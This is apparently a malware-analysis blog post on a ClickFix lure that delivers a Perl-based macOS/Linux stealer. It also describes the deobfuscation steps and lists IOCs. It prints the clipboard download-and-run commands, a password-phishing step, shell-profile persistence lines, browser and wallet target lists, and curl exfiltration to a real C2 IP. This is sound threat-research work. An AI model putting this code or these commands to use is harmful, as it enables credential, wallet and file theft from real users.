Perl based macOS/linux Stealer
Summary
A post on X about a ClickFix targeting linux lead to the discovery of a seemingly undocumented Perl-based macOS/linux stealer.
Here I will:
- dig into the ClickFix Javascript that targets not just Windows, but macOS and Linux
- deobfuscate the Perl delivered by the ClickFix
- describe much of the Perl stealer
Pearl Stealer
As I have not found this stealer described anywhere else, it seems
it needs a name. Unless it turns out that this is already known
by another name or it’s being sold under a name, I’m going to give it
the name Pearl Stealer
with the obvious reference to Perl
the primary language used by the stealer.
![]() |
---|
Meet the Pearl Stealer |
Linux Clickfix X post
This research was inspired by a post on X about a Linux ClickFix.
![]() |
---|
https://x.com/solostalking/status/1946058071928610950 |
In the screenshot shared by @solostalking is a website showing a typical ClickFix UI, but targeting a linux victim. This was the first I’d seen a ClickFix designed for linux.
ClickFix
The website was dedicated to ClickFix. It did not appear to be an infected legitimate site but instead one purpose built for ClickFix. There must be some other email or webpage the victim would have come from in order to get to this page. Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux.
let detectOS = "unknown";
if (navigator.userAgent.indexOf("Win") != -1) {
detectOS = "win";
}
if (navigator.userAgent.indexOf("Mac") != -1) {
detectOS = "mac";
}
if (navigator.userAgent.indexOf("Linux") != -1) {
detectOS = "linux";
}
The X post showed the linux instructions. Here’s also the macOS instructions.
![]() |
---|
ClickFix checkbox |
Depending upon the platform detected the webpage would copy a small malicious script into the victim’s clipboard. Here is the Javascript that would perform that, with just a touch of defanging. We can see that the macOS and linux scripts curl/wget from same host with a difference in path based on platform.
if (detectOS == "win") {
copyTextToClipboard("powershell -nop -w h -ep bypass -Command \"(&((-join('S','tart','-B','itsTransfer'))) (-join((-join('h','t','t','p','s',':','/','/')),'files.',(-join('c','a','t','b','o','x')),'.moe/z6izg8.txt')) (-join($env:TEMP,'y.ps1'))); &(-join($env:TEMP,'y.ps1'))\";$__cfCheck=\"Confirmation code: 579\"");
} else if (detectOS == "mac") {
copyTextToClipboard("nohup bash -c \"curl -sL cloudflare.blazing-cloud[.]com/mac/verify/captcha/" + userId + " | perl\" >/dev/null 2>&1 & killall Terminal\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# " + translateText("cloudflareInstructionMac").replace("6543", _0x21c3ee));
} else if (detectOS == "linux") {
copyTextToClipboard("sh -c 'wget -qO- cloudflare.blazing-cloud[.]com/linux/verify/captcha/" + userId + " | perl >/dev/null 2>&1 &' # Verify cloudflare captcha");
}
On macOS when pasting the malicious script into the Terminal, the malicious part is cleverly not displayed due to the series of newlines.
![]() |
---|
ClickFix terminal |
Socket for userId
Both the macOS and linux next stage downloads require a userId
.
The main webpage uses Socket.IO to issue a join
command to retreive
this victim’s assigned userId
.
let userId = localStorage.getItem("id");
socket.on("connect", () => {
console.log("connected");
if (!userId) {
socket.emit("join", null, _0x56c07a => {
localStorage.setItem("id", _0x56c07a);
userId = _0x56c07a;
});
} else {
socket.emit("join", userId, () => {});
}
});
So for example during one sandboxing pass the following was observed in the network requests.
http://cloudflare.blazing-cloud[.]com/mac/verify/captcha/dj5fbdevxtib
Cross referencing that with the Javascript that performs the copyTextToClipboard()
,
we can deduce that the userId
for that session was dj5fbdevxtib
.
Deobfuscating Perl
The payload from the cloudflare.blazing-cloud[.]com
host is piped to Perl.
If we instead manually wget it, we end up with the initial Perl payload.
![]() |
---|
Initial Perl payload |
The Perl is obfuscated, but it’s not too difficult to deobfuscate.
First, replace the eval eval
with a single print
, the file will look
like this:
^M
our $user_id = "dj5fbdevxtib";
print '"'.^M
^M
On a sandboxed linux with network disabled, we can run the modified script to find out what that gobbledygook is.
![]() |
---|
Perl payload modified |
The output from the modified test perl prints different looking gobbledygook which starts and ends with double quotes. And we can see regular backslashes in front of certain characters like double-quotes and dollar signs. This looks like an escaped string. So we need to print this in order to get the escaped items unescaped.
Send the output to another file to tweak. Then edit the new file.
$ perl dj5fbdevxtib-test1.pl > dj5fbdevxtib-test2.pl
$ vim dj5fbdevxtib-test2.pl
We can see that it would unpack the gobbledygook, then eval it. That would be dangerous to do.
![]() |
---|
Perl eval unpack (DANGEROUS) |
With just a minor tweak, we can instead eval a print of the unpacked gobbledygook. This is a subtle difference and if we goofed it up, it might actually run the malware. Thus we do this in a virtual sandbox with no network.
![]() |
---|
Perl eval print (SAFE) |
Running the eval print version we get a mostly deobfuscated Perl script.
![]() |
---|
Perl payload mostly deobfuscated |
There are still escaped strings.
No doubt there’s Perl way to do this, but Python is the way I solve problems now. Whipping up a quick Python unescape script will do the trick. This is what I landed on.
import sys
if __name__ == "__main__":
for line in sys.stdin:
line = line.rstrip()
line = line.replace(r'\.', '.')
line = line.replace(r'\$', '$')
line = line.replace(r'\@', '@')
line = line.encode('latin1').decode('unicode_escape').encode('latin1').decode('utf-8')
print(line)
Using that we get a nice clean Perl.
$ perl dj5fbdevxtib-test2.pl | python3 unescape.py > dj5fbdevxtib-deobfuscated.pl
Voilà! We now have the Perl script fully deobfuscated. And we’re in luck, it has all the original variable names. As we’ll see this is a complete Perl-based stealer that targets macOS or linux.
![]() |
---|
Perl deobfuscated |
Stealer breakdown
First thing of note is the IP address that we’ll see used to retreive additional payloads, API calls, and where stolen data will be POST’d to.
my $ip = "213.108.198.227";
It downloads two payloads from the IP above: parallel
and system.pl
.
These are saved in the victim’s home directory with a beginning dot
so that in many circumstances it will be hidden.
my $ua = LWP::UserAgent->new;
$ua->get("http://$ip/parallel", ":content_file" => "$ENV{HOME}/.parallel");
system("chmod +x $ENV{HOME}/.parallel");
$ua->get("http://$ip/system.pl", ":content_file" => "$ENV{HOME}/.system.pl");
system("chmod +x $ENV{HOME}/.parallel");
Parallel is a standard GNU tool to run multiple shell jobs in parallel.
system.pl
creates a C2 channel that allows the threat actor to
execute commands on the victim’s machine.
Next if operating system does not contain the word darwin
, then it will also
download it’s own curl
command to use instead of the OS provided curl
.
if ($^O !~ /darwin/) {
$ua->get("http://$ip/curl", ":content_file" => "$ENV{HOME}/.curl");
system("chmod +x $ENV{HOME}/.curl");
}
Of note is how the stealer uses $^O
to determine if the system is macOS or linux.
On Ubuntu, the value is simply linux
.
$ perl -e 'print($^O)'
linux
On macOS 10.15, the value is darwin
.
$ perl -e 'print($^O)'
darwin
Next it curl’s the C2 with the path /start_process_data
to let it know it has started
up. The server will respond with OK
which just goes to /dev/null
.
if ($^O =~ /darwin/) {
system("curl -v -m 120 --retry 8 "http://$ip/start_process_data" >/dev/null 2>&1");
} else {
system(""$ENV{HOME}/.curl" -v -m 120 --retry 8 "http://$ip/start_process_data" >/dev/null 2>&1");
}
The next section uses api.ipify.org
to try to get the victim’s current external IP.
If that succeeds, it registers that external IP with the C2 on port 8080 with path /get_ip/
.
sub is_connected_or_unreachable {
my $ip = shift;
my $curl = ($^O =~ /darwin/) ? "curl" : ""$ENV{HOME}/.curl"";
my $current_ip = `$curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null`;
chomp($current_ip);
return 1 unless $current_ip;
my $response = `$curl -s --connect-timeout 3 "http://$ip:8080/get_ip/$current_ip" 2>/dev/null`;
return 1 if $?;
chomp($response);
return ($response eq "connected") ? 1 : 0;
}
if (!is_connected_or_unreachable($ip)) {
my $system_path = "$ENV{HOME}/.system.pl";
system("perl $system_path &");
}
Persistence for linux
Next, if not running macOS, then add persistence to the victim’s $HOME/.profile
by appending a line to run the downloaded system.pl
.
if ($^O !~ /darwin/) {
my $home = $ENV{HOME};
my $profile_path = $home . "/.profile";
my $line_to_add = "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null";
open(my $profile_path_file, "<", $profile_path) or die "Cannot open $profile_path: $!";
my $found = 0;
while (my $line = <$profile_path_file>) {
chomp $line;
if ($line =~ m|.system.pl|) {
$found = 1;
last;
}
}
close($profile_path_file);
if (!$found) {
open(my $profile_path_file, ">>", $profile_path) or die "Cannot append to $profile_path: $!";
print $profile_path_file "
" . $line_to_add . "
";
close($profile_path_file);
}
} else {
}
Everything!!
The script uses a file named $ENV{HOME}/everything.txt
to
track every file it thinks might be interesting for exfiltration.
Perhaps in case the stealer had run previously and crashed
prior to finishing and removing this file, it starts by deleting it.
unlink("$ENV{HOME}/everything.txt");
Persistance for all
Further on, regardless of OS being run, it add persistence by adding system.pl
to a variety of
shell profile scripts.
my $home = $ENV{HOME};
append_if_not_exists("$home/.zshrc", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null");
append_if_not_exists("$home/.bashrc", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null");
append_if_not_exists("$home/.bash_profile", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null");
Ask for password on macOS
On macOS, the user is prompted to provide their password. Besides uploading the password to the C2, this will be used to run sudo to install a system level script for persistence.
It creates and runs a Perl script
named /tmp/pw_script_$$.pl
, where $$
is the PID.
![]() |
---|
The beginning of the pw_script |
The pw_script
uses AppleScript to prompt the victim to provide their local
OS password.
It takes that password, creates a file that contains it, then uploads it to the C2 server as a file named password.txt
.
![]() |
---|
Perl to upload password |
Next, it creates a Perl script named /tmp/install_$$.pl
to be run using sudo with the
victim provided password.
![]() |
---|
install script |
The install script creates a bash script in the victim’s home directory named Apple Inc.
which is used to launch the already downloaded system.pl
.
Next it creates two arrays for candidate macOS browser paths and wallet paths.
@browser_paths = (
"$app_support/Google/Chrome",
"$app_support/BraveSoftware/Brave-Browser",
"$app_support/Microsoft Edge",
"$app_support/Vivaldi",
"$app_support/Yandex/YandexBrowser",
"$app_support/com.operasoftware.Opera",
"$app_support/com.operasoftware.OperaGX",
"$app_support/Google/Chrome Beta",
"$app_support/Google/Chrome Canary",
"$app_support/Google/Chrome Dev",
"$app_support/Arc/User Data",
"$app_support/CocCoc/Browser"
);
@wallet_paths = (
"$ENV{HOME}/Exodus/exodus.wallet",
"$ENV{HOME}/Coinomi/wallets",
"$ENV{HOME}/Monero/wallets",
"$ENV{HOME}/Guarda/Local Storage/leveldb",
"$ENV{HOME}/atomic/Local Storage/leveldb",
"$ENV{HOME}/Ledger Live",
"$ENV{HOME}/Bitcoin/wallets",
"$ENV{HOME}/Litecoin/wallets",
"$ENV{HOME}/DashCore/wallets",
"$ENV{HOME}/Dogecoin/wallets",
"$ENV{HOME}/@trezor/suite-desktop",
"$ENV{HOME}/.electrum/wallets",
"$ENV{HOME}/.walletwasabi/client/Wallets",
"$ENV{HOME}/.electrum-ltc/wallets",
"$ENV{HOME}/.electron-cash/wallets",
"$ENV{HOME}/@tonkeeper/desktop/config.json",
"$ENV{HOME}/Binance/app-store.json",
"$ENV{HOME}/discord/Local Storage",
"$ENV{HOME}/discord/Local State",
"$ENV{HOME}/Steam/config",
"$ENV{HOME}/Telegram Desktop/tdata",
"$ENV{HOME}/OpenVPN Connect/profiles",
"$ENV{HOME}/.config/filezilla",
"$app_support/Exodus/exodus.wallet",
"$app_support/Coinomi/wallets",
"$app_support/Monero/wallets",
"$app_support/Guarda/Local Storage/leveldb",
"$app_support/atomic/Local Storage/leveldb",
"$app_support/Ledger Live",
"$app_support/Bitcoin/wallets",
"$app_support/Litecoin/wallets",
"$app_support/DashCore/wallets",
"$app_support/Dogecoin/wallets",
"$app_support/@trezor/suite-desktop",
"$app_support/@tonkeeper/desktop/config.json",
"$app_support/Binance/app-store.json",
"$app_support/discord/Local Storage",
"$app_support/discord/Local State",
"$app_support/Steam/config",
"$app_support/Telegram Desktop/tdata",
"$app_support/OpenVPN Connect/profiles"
);
Back to linux
Next if running linux, it downloads a binary named data_extracter
from the C2
and executes it.
my $home = $ENV{HOME};
system("$home/.curl -sL http://$ip/data_extracter -o $home/.data_extracter && chmod +x $home/.data_extracter && $home/.data_extracter "$identifier" > /dev/null 2>&1 &");
When running the data_extracter
it provides $identifier
as the argument
which was previously constructed as ${timestamp}_${uuid}
.
An example $identifier
would be
20-Jul-14:11_ea9ccf57-17bc-40fd-8d07-3154ead9fd71
.
data_extracter
is a compiled Python script. When run in a sandbox it
prompted for a password for a new keyring.
![]() |
---|
new keyring |
Also noticed when running without an argument, it crashed
and revealed that it was originally a Python script named data_extracter.py
.
![]() |
---|
traceback |
When run in the sandbox with a well-formed identifier argument, besides
prompting for a new keyring password, it printed that it checked several browsers.
It crashed because it attempted to execute a non-existant .curl
.
![]() |
---|
data_extracter |
Interesting files inventory
For both macOS and linux, it performs a find for a variety of file extensions
within home folders that are standard for Ubuntu. It appends the names of these files
to a file named everything.txt
. It does not gather these files just yet.
my $file_types = "\( -name "*.txt" -o -name "*.docx" -o -name "*.rtf" -o -name "*.aar" -o " .
"-name "*.zip" -o -name "*.rar" -o -name "*.doc" -o -name "*.wallet" -o " .
"-name "*.keys" -o -name "*.key" -o -name "*.mp3" -o -name "*.m4a" -o " .
"-name "*.jpg" -o -name "*.png" -o -name "*.jpeg" -o -name "*.pdf" -o " .
"-name "*.xlsx" -o -name "*.asc" -o -name "*.conf" -o -name "*.dat" -o " .
"-name "*.json" -o -name "*.kdbx" -o -name "*.ovpn" -o -name "*.pem" -o " .
"-name "*.ppk" -o -name "*.rdp" -o -name "*.sql" -o -name "*.xls" \)";
system("find "$ENV{HOME}/Desktop" "$ENV{HOME}/Downloads" "$ENV{HOME}/Pictures" "$ENV{HOME}/Documents" " .
"-maxdepth 3 -type f $file_types -size -5M -print >> "$ENV{HOME}/everything.txt"");
Browser file inventory
For both macOS and linux, it rummages through a variety of browser
paths. It looks for Chromium based browser files like Cookies
and Login Data
.
For Firefox, it looks for files like cookies.sqlite
and logins.json
.
It looks for 266 different extension ids.
At this point it is not exfiltrating any of this data. Instead it
just logs each file in the everything.txt
file.
system("find "$profile_path" -maxdepth 1 -type f \( " .
"-name "Web Data" -o -name "History" -o -name "Cookies" -o -name "Login Data" " .
"\) -print >> "$ENV{HOME}/everything.txt"");
foreach my $ext_id (@extension_ids) {
my $ext_dir = "$profile_path/Local Extension Settings/$ext_id";
if (-d $ext_dir) {
system("find "$ext_dir" -type f -print >> "$ENV{HOME}/everything.txt"");
}
}
Wallet file inventory
Next it searches through any potential crypto wallet folders and logs any files found
to everything.txt
.
foreach my $wallet_path (@wallet_paths) {
if (-d $wallet_path) {
system("find "$wallet_path" -type f -print >> "$ENV{HOME}/everything.txt"");
} elsif (-f $wallet_path) {
open(my $fh, ">>", "$ENV{HOME}/everything.txt") or die "Can't open file: $!";
print $fh "$wallet_path
";
close $fh;
}
}
Exfiltration
After finding all interesting files, the script finally exfiltrates all the files specified in $ENV{HOME}/everything.txt
.
It does this using the downloaded parallel
tool.
if ($^O =~ /darwin/) {
system("cat "$ENV{HOME}/everything.txt" |
"$ENV{HOME}/.parallel" -j 50 'folder=$(dirname {}) &&
curl -v -m 120 --retry 8 -F file=@{} -F "dirPath=$folder" $server' >/dev/null 2>&1");
} else {
system("cat "$ENV{HOME}/everything.txt" |
"$ENV{HOME}/.parallel" -j 50 'folder=$(dirname {}) &&
"$ENV{HOME}/.curl" -v -m 120 --retry 8 -F file=@{} -F "dirPath=$folder" $server' >/dev/null 2>&1");
}
Instead of uploading each file one by one, or creating a single large archive of the complete set of files, parallel is used to create at most 50 jobs that run in parallel to optimize the upload efficiency. This means there will be 50 instances of curl each uploading a single file. When an individual curl job is done, another curl job is initiated with the next file.
$server
was defined at the beginning of the script and defines
a unique identifier for this victim. So all the exfiltrated files
will be uploaded to the C2 server at the path /util/upload_data/$identifier
.
my $identifier = "${timestamp}_${uuid}";
my $server = "http://$ip/util/upload_data/$identifier";
After all the files have been exfiltrated it lets the C2 know
by curl’ing the C2 path /data_processed/$identifier
.
if ($^O =~ /darwin/) {
system("curl -v -m 120 --retry 8 "http://$ip/data_processed/$identifier" >/dev/null 2>&1");
} else {
system(""$ENV{HOME}/.curl" -v -m 120 --retry 8 "http://$ip/data_processed/$identifier" >/dev/null 2>&1");
}
macOS Notes Export
Next, on macOS it creates an AppleScript named /tmp/simple_notes_export.applescript
which is used to export all Notes and attachments to a folder named NotesExport
.
![]() |
---|
upper portion of notes export |
If the AppleScript successfully creates the NotesExport
folder,
that folder is exfiltrated using parallel and curl with the same
method used earlier.
After that is complete a curl to the C2 at path /notes_processed/$identifier
is performed.
system("curl -v -m 120 --retry 8 "http://$ip/notes_processed/$identifier" >/dev/null 2>&1");
Triage
A sandboxing of the initial URL with Triage yielded a 8 out of 10 threat. No detection of a stealer was made.
https://tria.ge/250719-yctzgagj2x
IOCs
www.madeinci[.]ci
(ClickFix)
->
https://www.madeinci[.]ci/socket.io/?EIO=4&transport=websocket
->
https://cloudflare.blazing-cloud[.]com/mac/verify/captcha/{userId}
https://cloudflare.blazing-cloud[.]com/linux/verify/captcha/{userId}
Files Downloaded
http://213.108.198[.]227/parallel
http://213.108.198[.]227/system.pl
http://213.108.198[.]227/curl
http://213.108.198[.]227/fileicon.tar.gz
http://213.108.198[.]227/data_extracter
API endpoints
https://blazing-cloud[.]com/mac/done/$main::user_id
http://213.108.198[.]227/start_process_data
http://213.108.198[.]227:8080/get_ip/$current_ip
http://213.108.198[.]227/util/upload_data/$identifier
http://213.108.198[.]227/data_processed/$identifier
http://213.108.198[.]227/notes_processed/$identifier
Hashes
50bc21ca2b8fcfd4d46d51d94ab1ac4450a25167a1607074695a7b048ce3c1b3 dj5fbdevxtib
eafa12df62f778180984cdbb510dabf8a3ad36a3d2cd250dad0ee12cdca1286f dj5fbdevxtib-deobfuscated.pl
05c922345ab0113c55824a1b2c658b0149a88c4cf4fecc01bf2409bfd81bbca1 parallel
7d3d2d0f17a5ddd1e9c32ad611a8c00bbd53088734784726cd4c6dcd44248a37 system.pl
d18aa1f4e03b50b649491ca2c401cd8c5e89e72be91ff758952ad2ab5a83135d curl
2f52ced92662bfc025db92787435e0d3f73469fe888973e62c8b5bd830e08e62 fileicon.tar.gz
0d904998d082a51c27c05a23cd62b2f5f030a511af911110a814afffbe3fd1e4 data_extracter